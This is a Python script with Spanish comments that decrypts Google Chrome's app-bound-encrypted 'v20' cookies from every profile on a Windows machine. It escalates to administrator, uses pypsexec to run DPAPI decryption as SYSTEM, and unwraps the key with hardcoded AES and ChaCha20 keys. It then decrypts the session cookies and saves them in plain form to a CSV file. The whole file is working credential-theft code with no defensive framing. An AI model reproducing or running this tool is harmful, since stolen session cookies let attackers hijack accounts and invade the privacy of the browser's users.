import os
import sys
import json
import binascii
import ctypes
import base64
import sqlite3
import pandas as pd
import pathlib
from Crypto.Cipher import AES, ChaCha20_Poly1305
from pypsexec.client import Client

"""
Este script extrae cookies v20 de Google Chrome y las guarda en un archivo CSV.
Requiere privilegios de administrador para acceder a los datos de Chrome.

Conseguido para poder extraer cookies de Chrome v20, que utiliza un nuevo formato de cifrado.

"""


def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin() != 0
    except:
        return False


def get_app_bound_key(local_state_path):
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = json.load(f)
    return local_state["os_crypt"]["app_bound_encrypted_key"]


def decrypt_app_bound_key(encrypted_key_b64):
    arguments = "-c \"" + """import win32crypt
import binascii
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
print(binascii.b2a_base64(encrypted_key[1]).decode())
""".replace("\n", ";") + "\""

    c = Client("localhost")
    c.connect()

    decrypted_key = None
    try:
        c.create_service()

        assert(binascii.a2b_base64(encrypted_key_b64)[:4] == b"APPB")
        stripped_key_b64 = binascii.b2a_base64(binascii.a2b_base64(encrypted_key_b64)[4:]).decode().strip()

        encrypted_key_b64_sys, _, _ = c.run_executable(
            sys.executable,
            arguments=arguments.format(stripped_key_b64),
            use_system_account=True
        )

        decrypted_key_b64, _, _ = c.run_executable(
            sys.executable,
            arguments=arguments.format(encrypted_key_b64_sys.decode().strip()),
            use_system_account=False
        )

        decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:]
    finally:
        c.remove_service()
        c.disconnect()

    return decrypted_key


def decrypt_final_key(encrypted_key):
    aes_key = bytes.fromhex("B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787")
    chacha20_key = bytes.fromhex("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660")

    flag = encrypted_key[0]
    iv = encrypted_key[1:13]
    ciphertext = encrypted_key[13:45]
    tag = encrypted_key[45:]

    if flag == 1:
        cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
    elif flag == 2:
        cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=iv)
    else:
        raise ValueError(f"Unsupported flag: {flag}")

    return cipher.decrypt_and_verify(ciphertext, tag)


def decrypt_cookie_v20(encrypted_value, key):
    cookie_iv = encrypted_value[3:15]
    encrypted_cookie = encrypted_value[15:-16]
    cookie_tag = encrypted_value[-16:]
    cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
    decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
    return decrypted_cookie[32:].decode('utf-8')


def extract_all_v20_cookies():
    user_profile = os.environ['USERPROFILE']
    local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State"
    base_profile_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data"

    app_bound_key_b64 = get_app_bound_key(local_state_path)
    decrypted_key_raw = decrypt_app_bound_key(app_bound_key_b64)
    final_key = decrypt_final_key(decrypted_key_raw)

    perfiles_invalidos = {"System Profile", "Guest Profile", "CrashpadMetrics"}
    perfiles = [
        name for name in os.listdir(base_profile_path)
        if os.path.isdir(os.path.join(base_profile_path, name))
        and name not in perfiles_invalidos
        and os.path.exists(os.path.join(base_profile_path, name, "Network", "Cookies"))
    ]

    all_cookies = []

    for profile in perfiles:
        db_path = os.path.join(base_profile_path, profile, "Network", "Cookies")
        con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
        cur = con.cursor()
        r = cur.execute("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, last_access_utc, CAST(encrypted_value AS BLOB) from cookies;")
        cookies = cur.fetchall()
        con.close()

        for row in cookies:
            host, name, path, is_secure, is_httponly, expires_utc, last_access_utc, encrypted_value = row
            encrypted_value_b64 = base64.b64encode(encrypted_value).decode()

            if encrypted_value.startswith(b"v20"):
                try:
                    value = decrypt_cookie_v20(encrypted_value, final_key)
                    print(f"[✓] {host} {name}: {value}")
                    all_cookies.append({
                        "host": host,
                        "name": name,
                        "path": path,
                        "value": value,
                        "encrypted_value_b64": encrypted_value_b64,
                        "expires_utc": expires_utc,
                        "is_secure": is_secure,
                        "is_httponly": is_httponly,
                        "last_access_utc": last_access_utc,
                        "profile": profile,
                        "is_decrypted": True,
                        "decrypt_error": ""
                    })
                except Exception as e:
                    print(f"[x] Error decrypting {host} {name}: {e}")
                    all_cookies.append({
                        "host": host,
                        "name": name,
                        "path": path,
                        "value": "",
                        "encrypted_value_b64": encrypted_value_b64,
                        "expires_utc": expires_utc,
                        "is_secure": is_secure,
                        "is_httponly": is_httponly,
                        "last_access_utc": last_access_utc,
                        "profile": profile,
                        "is_decrypted": False,
                        "decrypt_error": str(e)
                    })

    return pd.DataFrame(all_cookies)


if __name__ == "__main__":
    if not is_admin():
        input("Este script necesita ejecutarse como administrador. Presiona Enter para reiniciar con privilegios...")
        ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join([sys.argv[0]] + sys.argv[1:]), None, 1)
        sys.exit()

    print("[*] Extrayendo cookies v20 desde todos los perfiles...")
    df = extract_all_v20_cookies()
    df.to_csv("cookies_extraidas.csv", index=False, encoding="utf-8")
    print(f"[✓] Cookies v20 extraídas: {len(df)}")
    print("[✓] Guardado en 'cookies_extraidas.csv'")
